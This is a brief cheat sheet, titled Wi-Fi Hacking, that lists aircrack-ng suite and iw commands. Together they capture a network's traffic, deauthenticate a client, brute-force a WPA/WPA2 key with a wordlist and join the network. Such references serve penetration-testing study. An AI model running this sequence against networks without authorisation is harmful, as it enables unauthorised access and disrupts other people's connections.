Wi-Fi Hacking

List of commands:

  • iw dev - Shows wireless devices nad their configurations

  • sudo iw dev $INTERFACE scan - Scans the area for available wireless networks

  • sudo ip link et dev $INTERFACE [up/down] - Turns device on or off

  • sudo iw dev $INTERFACE set type monitor - Sets interface to be on monitor mode

  • sudo iw dev $INTERFACE info - Gives full info on interface

  • sudo airodump-ng $INTERFACE - Provides a list of nearby wifi networks with details like channel

  • sudo airodump-ng -c $CHANNEL --bssid $BSSID_MAC -w $OUTPUT_FILES $INTERFACE - Targets network channel and captures traffic

  • sudo aireplay-ng -0 1 -a $BSSID_MAC -c $BSSID_CLIENT $INTERFACE - Sends deauthentication attack to a wifi client

  • sudo aircrack-ng -a 2 -b $BSSID_MAC -w $ROCKYOU $OUTPUT_CAP - Brute forces WPA/WPA2 wifi key using WPA handshake and dictionary

  • wpa_passphrase $SSID $PASSPHRASE > $KEYFILE - Generate a key file for accessing a wifi network

  • sudo wpa_supplicant -B -c $KEYFILE -i $INTERFACE - Connect interface to wifi network

Last updated